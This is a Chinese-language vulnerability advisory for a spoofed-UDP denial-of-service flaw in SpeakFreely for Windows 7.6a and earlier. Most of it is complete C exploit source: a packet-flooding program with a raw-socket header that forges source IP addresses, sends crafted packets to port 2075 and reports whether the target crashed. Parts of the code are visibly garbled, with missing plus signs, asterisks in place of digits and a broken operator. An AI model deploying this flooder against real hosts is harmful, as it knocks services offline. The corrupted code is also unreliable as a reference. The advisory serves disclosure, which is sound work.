|
涉及程序:
SpeakFreely
描述:
SpeakFreely 欺骗 DoS 漏洞
详细:
SpeakFreely 是一款实时语音应用程序,可作为 ICQ 的插件用。 该程序中存在一漏洞,远程攻击者通过多个欺骗连接请求使客户端崩溃。 该软件有 Windows 和 Unix 下的两种版本,存在漏洞的仅在 Windows 版本中。通过源 IP 地址(通过 UDP 连接)欺骗几乎可以消耗 SpeakFreely 的所有资源。在 Windows 98SE 中 200 个欺骗数据包即可远程使程序崩溃。实际上,当一些数据包到达后系统会显示 :"Cannot create transmit socket for host (x.x.x.x), error 10***55. No buffer space is available",之后,程序崩溃。 受影响系统:
SpeakFreely version 7.6a 及之前的版本
攻击方法:
示例代码:
sfdos.c
/* UNIX VERSION */ #include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <netdb.h>
#include <time.h>
#include "send_udp_fast.h" #define VER "0.1"
#define TIMEOUT 5
#define DPORT 2075
#define SPORT 2075
#define MAXPCKS 256
#define PCK "\x40\xC9" // other packets
/*
#define PCK "\x40\xC9\x00\x01\x38\x8B\x06\x7A" \
"\x81\xCA\x00\x0A\x38\x8B\x06\x7A" \
"\x01\x00\x03\x00\x06\x1C" \
"Speak Freely exploit running\0\0" #define PCK "\x40\xc9\x00\x01\x32\x66\xce\xe5" \
"\x81\xca\x00\x0c\x32\x66\xce\xe5" \
"\x01" \
"\x0b" "root@(none)" \
"\x02" \
"\x04" "root" \
"\x06" \
"\x15" "Speak Freely for Unix" \
"\x00\x00"
*/ int timeout(int sock);
u_long resolv(char *host);
int main(int argc, char *argv[]) {
int sd,
err,
i,
pcksz = sizeof(PCK) - 1;
struct sockaddr_in peerc,
peers;
u_long source,
dest;
u_short sport,
dport;
srand(time(NULL)); setbuf(stdout, NULL);
fputs("\n" \
"Speak Freely for Windows <= 7.6a spoofed DoS "VER"\n" \
"by Luigi Auriemma\n" \
"e-mail: aluigi@altervista.org\n" \
"web: http://aluigi.altervista.org\n"
"\n", stdout);
if(argc < 2) {
printf("\n"
"Usage: %s <SpeakFreely_host> [starting_source_host(random)]\n"
"\n", argv[0]);
exit(1);
} if(argc > 2) source = resolv(argv[2]);
else source = rand();
dest = resolv(argv[1]);
dport = htons(DPORT);
sport = htons(SPORT);
printf("The sequential source IP will start from: %s:%d\n"
"Sending %d packets from sequential IP addresses\n",
inet_ntoa(*(struct in_addr *)&source),
SPORT,
MAXPCKS);
for(i = 0; i < MAXPCKS; i ) {
send_udp_fast(
source,
dest,
sport,
dport,
PCK,
pcksz,
1); fputc('.', stdout);
source = 0x010****0000; usleep(50***00);
// sleep(0);
// you can also use sleep(0), suggested if you are on a slow network
}
fputs("\n\n"
"Exploit terminated\n"
"Now I will check if the remote host is down...\n", stdout);
peerc.sin_addr.s_addr = dest;
peerc.sin_port = dport;
peerc.sin_family = AF_INET; peers.sin_addr.s_addr = INADDR_ANY;
peers.sin_port = sport;
peers.sin_family = AF_INET; sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if(sd < 0) std_err();
err = bind(sd, (struct sockaddr *)&peers, sizeof(peers));
if(err < 0) std_err();
err = sendto(sd, PCK, pcksz, 0, (struct sockaddr *)&peerc, sizeof(peerc));
if(err < 0) std_err();
err = timeout(sd);
if(err < 0) fputs("\nHost successfully CRASHED!!!\n\n", stdout);
else fputs("\nRemote host is NOT vulnerable\n\n", stdout);
close(sd);
return(0);
} int timeout(int sock) {
struct timeval timeout;
fd_set fd_read;
int err;
timeout.tv_sec = TIMEOUT;
timeout.tv_usec = 0; FD_ZERO(&fd_read);
FD_SET(sock, &fd_read);
err = select(sock 1, &fd_read, NULL, NULL, &timeout);
if(err < 0) std_err();
if(!err) {
fputs("\nError: Socket timeout, no answers received\n", stdout);
return(-1);
}
return(0);
} u_long resolv(char *host) {
struct hostent *hp;
u_long host_ip; host_ip = inet_addr(host);
if(host_ip == INADDR_NONE) {
hp = gethostbyname(host);
if(!hp) {
printf("\nError: Unable to resolve hostname (%s)\n", host);
exit(1);
} else host_ip = *(u_long *)(hp->h_addr);
} return(host_ip);
} send_udp_fast.h:
/* Header file for send UDP spoofed packets (FAST version)
by Luigi Auriemma
e-mail: aluigi@pivx.com
web: http://aluigi.altervista.org VERSION 0.1.2
For use this header file, simply add #include "send_udp_fast.h" to
your source code.
This function need the following parameters: - src = 32 bit long number that identify the source IP (example:
0x01***07f)
- dst = 32 bit long number that identify the destination IP
- sport = big endian source port (you must use htons) (example: port
80 = 0x5000)
- dport = big endian destination port (you must use htons)
- data = data to insert in the packet
- datalen = size of the data to insert in the packet
- num = how many packets send NOTE:
- sport and dport must be in big endian
- if one of the port is equal to 0, it will be randomized
- ID and TTL of the IP header are randomized but are the same for all
the packets
- if you need a more simple function for send spoofed UDP datagrams,
you must use send_udp_full.h
Example:
send_udp_fast(
inet_addr("127.0.0.1"), //source
IP_OF_"www.microsoft.com", //destination (you need the
//numeric IP of the destination
htons(80), //source port
0, //random destination port
"Hello how are you?", //data (NULL for empty packet)
18, //data length (0 for empty packet)
3); //number of packets
LINUX VERSION */ #include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <string.h>
#include <time.h> #define IPSZ sizeof(struct iphdr)
#define UDPSZ sizeof(struct udphdr)
#define PSEUDOSZ sizeof(struct pseudohdr)
#define SIZE (IPSZ UDPSZ datalen)
#define SENDUDPDELAY 0 void send_udp_fast(
u_long src,
u_long dst,
u_short sport,
u_short dport,
u_char *data,
u_short datalen,
u_long num);
u_short in_cksum(u_short *addr, int len);
void std_err(void);
struct pseudohdr {
u_int32_t saddr;
u_int32_t daddr;
u_int8_t zero;
u_int8_t protocol;
u_int16_t length;
} *pseudohdr;
/*
for more speed the ports must be given with htons (big endian) so the
function doesn't need to make this operation everytime it supports the randomization of the source and dest port if equal to 0
*/
void send_udp_fast(
u_long src,
u_long dst,
u_short sport,
u_short dport,
u_char *data,
u_short datalen,
u_long num) { u_char buff[SIZE],
pseudobuff[PSEUDOSZ UDPSZ datalen],
*datapck;
struct sockaddr_in peer;
struct iphdr *iphdr;
struct udphdr *udphdr;
int sd,
err;
srand(time(NULL)); if(!sport) sport = rand();
if(!dport) dport = rand(); peer.sin_addr.s_addr = dst;
peer.sin_port = dport;
peer.sin_family = AF_INET; iphdr = (struct iphdr *)buff;
udphdr = (struct udphdr *)(buff IPSZ);
datapck = (u_char *)(buff IPSZ UDPSZ);
pseudohdr = (struct pseudohdr *)pseudobuff;
/* build IP header */
iphdr->ihl = 5;
iphdr->version = 4;
iphdr->tos = 0x10;
iphdr->tot_len = SIZE;
iphdr->id = rand();
iphdr->frag_off = 0;
iphdr->ttl = (rand() >> 24) 120;
iphdr->protocol = IPPROTO_UDP;
iphdr->check = 0;
iphdr->saddr = src;
iphdr->daddr = dst; /* build UDP header */
udphdr->source = sport;
udphdr->dest = dport;
udphdr->check = 0;
udphdr->len = htons(UDPSZ datalen); /* build data */
memcpy(datapck, data, datalen); /* build pseudo header for calculate checksum (copy UDP header and data in it) */
memcpy(pseudobuff PSEUDOSZ, udphdr, UDPSZ datalen); pseudohdr->saddr = iphdr->saddr;
pseudohdr->daddr = iphdr->daddr;
pseudohdr->zero = 0;
pseudohdr->protocol = IPPROTO_UDP;
pseudohdr->length = udphdr->len; udphdr->check = in_cksum((u_short *)pseudobuff, PSEUDOSZ UDPSZ datalen);
/* send all */
sd = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
if(sd < 0) std_err(); for(; num > 0; num--) {
err = sendto(sd, buff, SIZE, 0, (struct sockaddr *)&peer, sizeof(peer));
if(err < 0) std_err();
usleep(SENDUDPDELAY);
}
close(sd);
} u_short in_cksum(u_short *addr, int len) {
int sum = 0;
u_short answer = 0;
register u_short *w = addr;
register int nleft = len; while(nleft > 1) {
sum = *w ;
nleft -= 2;
}
if(nleft == 1) {
*(u_char *)(&answer) = *(u_char *)w ;
sum = answer;
}
sum = (sum >> 16) (sum & 0xffff);
sum = (sum >> 16);
answer = "sum;
return(answer);
} void std_err(void) {
perror("\nError");
exit(1);
}
解决方案:
目前厂商未公布该缺陷补丁,请用户及时关注厂商站点:
http://www.fourmilab.ch/speakfree/
附加信息:
无
|
|